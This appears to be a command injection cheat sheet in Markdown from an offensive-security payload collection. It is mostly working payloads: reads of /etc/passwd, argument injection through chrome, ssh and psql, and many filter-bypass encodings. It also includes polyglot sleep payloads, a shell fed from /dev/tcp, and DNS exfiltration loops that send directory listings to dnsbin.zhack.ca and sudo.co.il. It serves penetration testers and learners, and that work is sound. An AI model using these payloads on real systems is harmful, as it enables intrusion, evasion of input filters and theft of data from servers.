# Command Injection > Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application. ## Summary * [Tools](#tools) * [Exploits](#exploits) * [Basic commands](#basic-commands) * [Chaining commands](#chaining-commands) * [Argument injection](#argument-injection) * [Inside a command](#inside-a-command) * [Filter Bypasses](#filter-bypasses) * [Bypass without space](#bypass-without-space) * [Bypass with a line return](#bypass-with-a-line-return) * [Bypass with backslash newline](#bypass-with-backslash-newline) * [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding) * [Bypass with Tilde expansion](#bypass-with-tilde-expansion) * [Bypass with Brace expansion](#bypass-with-brace-expansion) * [Bypass characters filter](#bypass-characters-filter) * [Bypass blacklisted words](#bypass-blacklisted-words) * [Bypass with single quote](#bypass-with-single-quote) * [Bypass with double quote](#bypass-with-double-quote) * [Bypass with backticks](#bypass-with-backticks) * [Bypass with backslash and slash](#bypass-with-backslash-and-slash) * [Bypass with $@](#bypass-with-) * [Bypass with $()](#bypass-with--1) * [Bypass with variable expansion](#bypass-with-variable-expansion) * [Bypass with wildcards](#bypass-with-wildcards) * [Data Exfiltration](#data-exfiltration) * [Time based data exfiltration](#time-based-data-exfiltration) * [DNS based data exfiltration](#dns-based-data-exfiltration) * [Polyglot Command Injection](#polyglot-command-injection) * [Tricks](#tricks) * [Backgrounding long running commands](#backgrounding-long-running-commands) * [Remove arguments after the injection](#remove-arguments-after-the-injection) * [Labs](#labs) * [Challenge](#challenge) * [References](#references) ## Tools * [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool * [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library ## Exploits Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system. The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise. **Example of Command Injection with PHP**: Suppose you have a PHP script that takes a user input to ping a specified IP address or domain: ```php <?php $ip = $_GET['ip']; system("ping -c 4 " . $ip); ?> ``` In the above code, the PHP script uses the `system()` function to execute the `ping` command with the IP address or domain provided by the user through the `ip` GET parameter. If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual command that gets executed would be: `ping -c 4 8.8.8.8; cat /etc/passwd`. This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information. ### Basic commands Execute the command and voila :p ```powershell cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh ... ``` ### Chaining commands In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands. * `;` (Semicolon): Allows you to execute multiple commands sequentially. * `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status). * `||` (OR): Execute the second command only if the first command fails (returns a non-zero exit status). * `&` (Background): Execute the command in the background, allowing the user to continue using the shell. * `|` (Pipe): Takes the output of the first command and uses it as the input for the second command. ```powershell command1; command2 # Execute command1 and then command2 command1 && command2 # Execute command2 only if command1 succeeds command1 || command2 # Execute command2 only if command1 fails command1 & command2 # Execute command1 in the background command1 | command2 # Pipe the output of command1 into command2 ``` ### Argument Injection Gain a command execution when you can only append arguments to an existing command. Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution. * Chrome ```ps1 chrome '--gpu-launcher="id>/tmp/foo"' ``` * SSH ```ps1 ssh '-oProxyCommand="touch /tmp/foo"' foo@foo ``` * psql ```ps1 psql -o'|id>/tmp/foo' ``` ### Inside a command * Command injection using backticks. ```bash original_cmd_by_server `cat /etc/passwd` ``` * Command injection using substitution ```bash original_cmd_by_server $(cat /etc/passwd) ``` ## Filter Bypasses ### Bypass without space * `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead. ```powershell cat${IFS}/etc/passwd ls${IFS}-la ``` * In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments. ```powershell {cat,/etc/passwd} ``` * Input redirection. The < character tells the shell to read the contents of the file specified. ```powershell cat</etc/passwd sh</dev/tcp/127.0.0.1/4242 ``` * ANSI-C Quoting ```powershell X=$'uname\x20-a'&&$X ``` * The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`. ```powershell ;ls%09-al%09/home ``` * In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables. ```powershell ping%CommonProgramFiles:~10,-18%127.0.0.1 ping%PROGRAMFILES:~10,-5%127.0.0.1 ``` ### Bypass with a line return Commands can also be run in sequence with newlines ```bash original_cmd_by_server ls ``` ### Bypass with backslash newline * Commands can be broken into parts by using backslash followed by a newline ```powershell $ cat /et\ c/pa\ sswd ``` * URL encoded form would look like this: ```powershell cat%20/et%5C%0Ac/pa%5C%0Asswd ``` ### Bypass characters filter via hex encoding ```powershell swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" /etc/passwd swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764 /etc/passwd swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764) /etc/passwd swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)` root:x:0:0:root:/root:/bin/bash ``` ### Bypass with Tilde expansion ```powershell echo ~+ echo ~- ``` ### Bypass with Brace expansion ```powershell {,ip,a} {,ifconfig} {,ifconfig,eth0} {l,-lh}s {,echo,#test} {,$"whoami",} {,/?s?/?i?/c?t,/e??/p??s??,} ``` ### Bypass characters filter Commands execution without backslash and slash - linux bash ```powershell swissky@crashlab:~$ echo ${HOME:0:1} / swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ echo . | tr '!-0' '"-1' / swissky@crashlab:~$ tr '!-0' '"-1' <<< . / swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd root:x:0:0:root:/root:/bin/bash ``` ### Bypass Blacklisted words #### Bypass with single quote ```powershell w'h'o'am'i wh''oami 'w'hoami ``` #### Bypass with double quote ```powershell w"h"o"am"i wh""oami "wh"oami ``` #### Bypass with backticks ```powershell wh``oami ``` #### Bypass with backslash and slash ```powershell w\ho\am\i /\b\i\n/////s\h ``` #### Bypass with $@ `$0`: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, `$0` will typically give the name of the shell. ```powershell who$@ami echo whoami|$0 ``` #### Bypass with $() ```powershell who$()ami who$(echo am)i who`echo am`i ``` #### Bypass with variable expansion ```powershell /???/??t /???/p??s?? test=/ehhh/hmtc/pahhh/hmsswd cat ${test//hhh\/hm/} cat ${test//hh??hm/} ``` #### Bypass with wildcards ```powershell powershell C:\*\*2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc ``` ## Data Exfiltration ### Time based data exfiltration Extracting data : char by char ```powershell swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s user 0m0.000s sys 0m0.000s swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi real 0m0.002s user 0m0.000s sys 0m0.000s ``` ### DNS based data exfiltration Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca ```powershell 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` ```powershell $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` Online tools to check for DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in ## Polyglot Command Injection A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments. * Example 1: ```powershell Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} # Context inside commands with single and double quote: echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} ``` * Example 2: ```powershell Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ # Context inside commands with single and double quote: echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/" echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/' ``` ## Tricks ### Backgrounding long running commands In some instances, you might have a long running command that gets killed by the process injecting it timing out. Using `nohup`, you can keep the process running after the parent process exits. ```bash nohup sleep 120 > /dev/null & ``` ### Remove arguments after the injection In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options. ## Labs * [OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple) * [Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays) * [Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection) * [Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band) * [Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration) ## Challenge Challenge based on the previous tricks, what does the following command do: ```powershell g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/} ``` ## References * [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/) * [Bug Bounty Survey - Windows RCE spaceless](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136) * [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628) * [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192) * [What is OS command injection - portswigger](https://portswigger.net/web-security/os-command-injection) * [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/)